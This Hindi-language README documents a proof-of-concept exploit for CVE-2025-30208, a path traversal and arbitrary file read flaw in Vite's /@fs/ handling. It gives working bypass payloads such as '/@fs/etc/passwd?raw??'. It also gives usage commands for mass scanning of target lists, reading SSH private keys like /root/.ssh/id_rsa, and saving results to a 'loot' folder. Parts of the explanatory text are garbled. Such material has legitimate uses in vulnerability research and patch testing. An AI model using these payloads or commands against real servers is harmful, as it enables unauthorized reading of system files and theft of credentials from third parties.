
transformMiddleware में Vite /@fs/ पाथ ट्रैवर्सल (CVE-2025-30208) की मनमाना फ़ाइल पढ़ने की भेद्यता के लिए शोषण स्क्रिप्ट का एक PoC।
इस एक्सप्लॉइट स्क्रिप्ट का PoC Vite की /@fs/ Path Traversal भेद्यता in transformMiddleware (CVE-2025-30208) में Arbitrary File Read के लिए है। विस्तृत विश्लेषण के लिए इस पोस्ट को देखें।
निम्नलिखित संस्करणों से पहले के संस्करणों में भेद्य है:
Vite एक लोकप्रिय ओपन-सोर्स प्रोजेक्ट है जिसे Github और इसकी आधिकारिक वेबसाइट से प्राप्त किया जा सकता है। यह विकास मोड में निरपेक्ष फ़ाइल पथों तक सीधे पहुंच की अनुमति देने के लिए एक विशेष उपसर्ग, @fs, का उपयोग करता है:
GET /@fs/<absolute/path/to/file>
लेकिन दुरुपयोग को रोकने के लिए, Vite @fs के माध्यम से पहुंच को करता है, जैसे कॉन्फ़िगरेशन का उपयोग करके:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
तो सिद्धांत रूप में, अनुमत निर्देशिका के बाहर की फ़ाइलें (जैसे /etc/passwd) अवरुद्ध होनी चाहिए — भले ही कोई ../../../ जैसी चाल का उपयोग करे।
हालांकि, दोष इस बात में है कि Vite URL को कैसे पार्स और जांचता है (transformMiddleware मिडलवेयर/फ़ंक्शन के माध्यम से)। यह मिडलवेयर/फ़ंक्शन यह जांचने के लिए ensureServingAccess(url, ...) का उपयोग करता है कि /@fs/ के माध्यम से फ़ाइल अनुरोध की अनुमति थी या नहीं।
हालांकि, एक हमलावर URL में अनुगामी क्वेरी विभाजक के साथ अनुरोध तैयार कर सकता है जैसे:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
ये रूप नियमित अभिव्यक्ति फ़िल्टर (rawRE, urlRE) और सुरक्षा जांच को बायपास कर देंगे, क्योंकि दूषित क्वेरी स्ट्रिंग अभी भी रूट तर्क से मेल खाती है। क्या हो रहा है:
/@fs/../../../etc/passwd हैraw?? है (जानबूझकर विकृत)? को हटाने या सामान्य करने का प्रयास करता है, और यह फ़ाइल पथ की अनुमति की जांच से पहले करता है।इसका अर्थ है:
server.fs.allow जांच को बायपास करता है।/etc/passwd जैसी मनमानी फ़ाइलों को पढ़ता और लौटाता है।python3 poc.py [OPTIONS]
| Flag / Option | Description |
|---|---|
-u, --url | एकल लक्ष्य URL (जैसे example.com:5173) |
-f, --file | लक्ष्यों की सूची वाली फ़ाइल (प्रति पंक्ति एक URL) |
-p, --path | पढ़ने का फ़ाइल सिस्टम पथ (डिफ़ॉल्ट: /etc/passwd) |
-b, --bypass | रूट सत्यापन को बायपास करने की क्वेरी स्ट्रिंग (डिफ़ॉल्ट: ?raw??) |
--proxy | प्रॉक्सी URL (जैसे http://127.0.0.1:8080) |
-o, --output | एक्सप्लॉइटेशन परिणामों को सहेजने के लिए आउटपुट निर्देशिका (डिफ़ॉल्ट: results) |
-t, --threads | बैच मोड के लिए थ्रेड्स की संख्या (डिफ़ॉल्ट: 10) |
-h, --help | सहायता संदेश दिखाएँ और बाहर निकलें |
एकल लक्ष्य शोषण:
python3 cve-2025-30208.py -u example.com:5173
हम जिस फ़ाइल को लीक करना चाहते हैं उसके लिए कस्टम LFI पथ के साथ एकल लक्ष्य:
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
एकाधिक लक्ष्यों के साथ बैच शोषण:
python3 cve-2025-30208.py -f targets.txt
कस्टम बायपास क्वेरी:
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
प्रॉक्सी का उपयोग करना (जैसे Burp Suite):
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
कस्टम आउटपुट निर्देशिका:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
बैच मोड में थ्रेड गणना बढ़ाएँ:
python3 cve-2025-30208.py -f targets.txt -t 50